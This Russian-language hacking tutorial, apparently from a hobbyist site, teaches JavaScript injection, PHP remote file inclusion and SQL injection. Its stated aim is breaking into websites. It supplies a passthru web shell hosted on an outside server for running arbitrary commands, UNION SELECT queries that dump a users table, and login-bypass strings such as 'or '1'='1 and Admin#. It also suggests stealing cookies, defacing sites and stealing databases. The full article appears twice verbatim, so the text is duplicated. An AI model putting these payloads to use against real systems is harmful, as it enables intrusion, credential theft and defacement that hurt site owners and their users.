Injection - что это такое и с чем его едят.
Автор: admin
//* Все теги (< >), будут заменены (на [ ] ), для корректного отображения на странице.*//
Для начала определимся, что такое injection. Injection - это вставка нашего кода в скриптовый запрос. Например, мы можем вставить часть нужного нам кода в адресную строку, или в поле для ввода пароля. Если скрипт уязвим, мы увидим результат выполнения нашего запроса. Для чего это всё нужно? Для того чтобы сайты ломать, ведь скриптов уязвимых перед injection (далее inj) тысячи! А сколько ещё приватных и неисследованных! В общем, потенциал огромен!!! Насколько я знаю, inj делятся на три типа: html/java-inj, php-inj и SQL-inj. Они отличаются друг от друга, но всё же принцип действия у них одинаков (вставка нужного нам кода).
Итак, html/java-inj. На самом деле это больше Java, чем HTML inj. Заключается она во внедрении нашего javascript’a в код страницы. И при просмотре сайта наш сценарий выполняется. Что это нам даёт? А много чего! Можно тырить плюшки (aka Cookies), забить винт юзера (открывшего страницу) всяким дерьмом (вот он удивится когда Маст Дай напишет ему «На диске С: осталось менее 200 мегов»!), или просто накрутить себе банерных показов! Есть умельцы которые с помощью javascript’ов удалённо форматируют винт (естественно после перезагрузки)… Как же искать страницы в которых можно провести html/java-inj? Это скажу вам не просто, а очень просто!!! :-D Например мы набрели на форму (это может быть форма установки аватора на форуме или простая поисковая форма, ну в крайнем случае униформа :-D ). Пишем в ней:
[H1]Hello [/H1]
Если в результате мы увидим наше “Hello” выведенное здоровенным шрифтом, всё Ок! Теперь в той же форме введём что-то типа:
javascript:alert(‘Fuck All!!!’);
Если результатом нашей работы будет выскакивающее сообщение “Fuck All!!!” считай, тебе сегодня повезло! Далее можно приступать к наступательным действиям по внедрения более серьёзного javascript’a. Я (к своему позору) плохо знаю javascript =((, так что подобным способом пользуюсь ОЧЕНЬ редко. Знаю только что мастера в этом деле NSD.TEAM! Более подробную инфу про этот тип атак можно найти на их сайте! Идём далее…
Php-inj. Это довольно распространённый вид атаки. Дело здесь в в функции include(). В идеале она запускает файл на сервере. Например, файл-БД_новостей для бегущей строки ( знаю, знаю что некоторые после прочтения этих строк пошли тестить главную страницу нашего сайта в поисках php-inj… =)) Я огорчу вас, наш сайт написан полностью на html. ). Но при неграмотной настройке php.ini можно подключить файл находящийся на другом сервере! Т.Е. никто нам не мешает запустить с помощью бажного скрипта web-shell и исполнять практически любые действия! Как искать уязвимые скрипты. Да очень просто! Если ты случайно наткнулся на адрес типа
http://site.ru/script.php?page=links
, знай скрипт уязвим! Теперь регистрируем на narod.ru сайт, пусть это будет ha.narod.ru. Создадим простой php скрипт, обзавём его xxx.php и зальём на сайт:
[?php passthru /S/cmd ?]
Теперь в адресной строке вводим такой запрос:
http://site.ru/script.php?page=http://ha.narod.ru/xxx.php?cmd=id
и видим в мониторе наши права. Естественно что вместо id можно подставлять любые *NIX команды! Но можно сделать ещё удобнее и круче! Создать на ha.narod.ru простой php скрипт который скопирует нужные нам файлы на сервер! А там уже можно дефейсить сайт, угонять БД и творить прочий беспредел… =)) Далее у нас SQL-inj.
SQL-inj. Смысл данной атаки сводится к внедрению своего SQL-запроса в запрос скрипта. Без знания хотя-бы основ SQL здесь никак, поэтому идём читать мою стать про SQL на нашем сайте в разделе "Статьи". Теперь думаю более-менее понятно. Ок, идём дальше. Проводить SQL-inj возможно через адресную строку и/или (кому как повезёт) через формы. Технически говоря изменять запрос переданный методом GET или POST соответственно. Что это нам даёт? Мы можем контролировать БД, а это и вывод паролей, и удаление/добавление учётных записей и ещё многое другое. Теперь о применении SQL-inj. Всё не так уж сложно! Например, мы видим линк:
http://site.ru/article.php?id=4
Этот скрипт выводит из БД данные из поля id равное 4. Теперь проверим его на уязвимость. Для этого изменим наш запрос на:
http://site.ru/article.php?id=4’
Если скрипт выругается, типа запрос не верный, значит он уязвим! Теперь мы можем добавлять свои запросы, объединив их с помощью служебного слова “UNION” и не забыв про ковычку. Это будет выглядеть примерно так:
http://site.ru/article.php?id=4’UNION SELECT * FROM users WHERE id=’4
тем самым мы выведем все данные из таблицы users пользователя с id=4. По такому же принципу можно выполнить и другие запросы, главное SQL знать. В данном случае мы рассмотрели sql-inj через адресную строку, но можно выполнить инъекцию и через формы (так чаще всего и встречается).
Предположим, что у нас есть форма авторизации по Login’у и password’у. Смотрим сурс формы и видим 2 переменные login и pass. Значит, запрос авторизации будет примерно таким:
“SELECT name FROM users WHERE login=’’ AND pass=’’ “
Попробуем ввести в оба поля: ‘or ‘1’=’1. Теперь запрос будет выглядеть примерно так:
“SELECT name FROM users WHERE login=’or ‘1’=’1’ pass=’or ‘1’=’1’ ”
Работает это так, т.к.1 всегда равен 1, то скрипт сработает и выведет поле name.
Известно, что все языки программирования юзают комментарии. SQL не исключение и комментарии там пишутся после “#”. Этим мы воспользуемся!
В поле логин введём: Admin#. Поле пароль остаётся пустым! Выполняем. Теперь запрос выглядит так:
“SELECT name FROM users WHERE login=’Admin #’ AND pass=’ ’ ”
Т.е всё что стоит после “#” игнорируется и мы входим как Admin без ввода правильного пароля!!! Разумеется вместо Admin может быть любой зарегистрированный логин.
Это только часть методов использования SQL-inj. Но общий принцип в них один! Экспериментируйте и всё поймёте! Вот так вот! =))
Для начала определимся, что такое injection. Injection - это вставка нашего кода в скриптовый запрос. Например, мы можем вставить часть нужного нам кода в адресную строку, или в поле для ввода пароля. Если скрипт уязвим, мы увидим результат выполнения нашего запроса. Для чего это всё нужно? Для того чтобы сайты ломать, ведь скриптов уязвимых перед injection (далее inj) тысячи! А сколько ещё приватных и неисследованных! В общем, потенциал огромен!!! Насколько я знаю, inj делятся на три типа: html/java-inj, php-inj и SQL-inj. Они отличаются друг от друга, но всё же принцип действия у них одинаков (вставка нужного нам кода).
Итак, html/java-inj. На самом деле это больше Java, чем HTML inj. Заключается она во внедрении нашего javascript’a в код страницы. И при просмотре сайта наш сценарий выполняется. Что это нам даёт? А много чего! Можно тырить плюшки (aka Cookies), забить винт юзера (открывшего страницу) всяким дерьмом (вот он удивится когда Маст Дай напишет ему «На диске С: осталось менее 200 мегов»!), или просто накрутить себе банерных показов! Есть умельцы которые с помощью javascript’ов удалённо форматируют винт (естественно после перезагрузки)… Как же искать страницы в которых можно провести html/java-inj? Это скажу вам не просто, а очень просто!!! :-D Например мы набрели на форму (это может быть форма установки аватора на форуме или простая поисковая форма, ну в крайнем случае униформа :-D ). Пишем в ней:
[H1]Hello [/H1]
Если в результате мы увидим наше “Hello” выведенное здоровенным шрифтом, всё Ок! Теперь в той же форме введём что-то типа:
javascript:alert(‘Fuck All!!!’);
Если результатом нашей работы будет выскакивающее сообщение “Fuck All!!!” считай, тебе сегодня повезло! Далее можно приступать к наступательным действиям по внедрения более серьёзного javascript’a. Я (к своему позору) плохо знаю javascript =((, так что подобным способом пользуюсь ОЧЕНЬ редко. Знаю только что мастера в этом деле NSD.TEAM! Более подробную инфу про этот тип атак можно найти на их сайте! Идём далее…
Php-inj. Это довольно распространённый вид атаки. Дело здесь в в функции include(). В идеале она запускает файл на сервере. Например, файл-БД_новостей для бегущей строки ( знаю, знаю что некоторые после прочтения этих строк пошли тестить главную страницу нашего сайта в поисках php-inj… =)) Я огорчу вас, наш сайт написан полностью на html. ). Но при неграмотной настройке php.ini можно подключить файл находящийся на другом сервере! Т.Е. никто нам не мешает запустить с помощью бажного скрипта web-shell и исполнять практически любые действия! Как искать уязвимые скрипты. Да очень просто! Если ты случайно наткнулся на адрес типа
http://site.ru/script.php?page=links
, знай скрипт уязвим! Теперь регистрируем на narod.ru сайт, пусть это будет ha.narod.ru. Создадим простой php скрипт, обзавём его xxx.php и зальём на сайт:
[?php passthru /S/cmd ?]
Теперь в адресной строке вводим такой запрос:
http://site.ru/script.php?page=http://ha.narod.ru/xxx.php?cmd=id
и видим в мониторе наши права. Естественно что вместо id можно подставлять любые *NIX команды! Но можно сделать ещё удобнее и круче! Создать на ha.narod.ru простой php скрипт который скопирует нужные нам файлы на сервер! А там уже можно дефейсить сайт, угонять БД и творить прочий беспредел… =)) Далее у нас SQL-inj.
SQL-inj. Смысл данной атаки сводится к внедрению своего SQL-запроса в запрос скрипта. Без знания хотя-бы основ SQL здесь никак, поэтому идём читать мою стать про SQL на нашем сайте в разделе "Статьи". Теперь думаю более-менее понятно. Ок, идём дальше. Проводить SQL-inj возможно через адресную строку и/или (кому как повезёт) через формы. Технически говоря изменять запрос переданный методом GET или POST соответственно. Что это нам даёт? Мы можем контролировать БД, а это и вывод паролей, и удаление/добавление учётных записей и ещё многое другое. Теперь о применении SQL-inj. Всё не так уж сложно! Например, мы видим линк:
http://site.ru/article.php?id=4
Этот скрипт выводит из БД данные из поля id равное 4. Теперь проверим его на уязвимость. Для этого изменим наш запрос на:
http://site.ru/article.php?id=4’
Если скрипт выругается, типа запрос не верный, значит он уязвим! Теперь мы можем добавлять свои запросы, объединив их с помощью служебного слова “UNION” и не забыв про ковычку. Это будет выглядеть примерно так:
http://site.ru/article.php?id=4’UNION SELECT * FROM users WHERE id=’4
тем самым мы выведем все данные из таблицы users пользователя с id=4. По такому же принципу можно выполнить и другие запросы, главное SQL знать. В данном случае мы рассмотрели sql-inj через адресную строку, но можно выполнить инъекцию и через формы (так чаще всего и встречается).
Предположим, что у нас есть форма авторизации по Login’у и password’у. Смотрим сурс формы и видим 2 переменные login и pass. Значит, запрос авторизации будет примерно таким:
“SELECT name FROM users WHERE login=’’ AND pass=’’ “
Попробуем ввести в оба поля: ‘or ‘1’=’1. Теперь запрос будет выглядеть примерно так:
“SELECT name FROM users WHERE login=’or ‘1’=’1’ pass=’or ‘1’=’1’ ”
Работает это так, т.к.1 всегда равен 1, то скрипт сработает и выведет поле name.
Известно, что все языки программирования юзают комментарии. SQL не исключение и комментарии там пишутся после “#”. Этим мы воспользуемся!
В поле логин введём: Admin#. Поле пароль остаётся пустым! Выполняем. Теперь запрос выглядит так:
“SELECT name FROM users WHERE login=’Admin #’ AND pass=’ ’ ”
Т.е всё что стоит после “#” игнорируется и мы входим как Admin без ввода правильного пароля!!! Разумеется вместо Admin может быть любой зарегистрированный логин.
Это только часть методов использования SQL-inj. Но общий принцип в них один! Экспериментируйте и всё поймёте! Вот так вот! =))
Комментарии
Нет комментариев. Вы можете быть первым!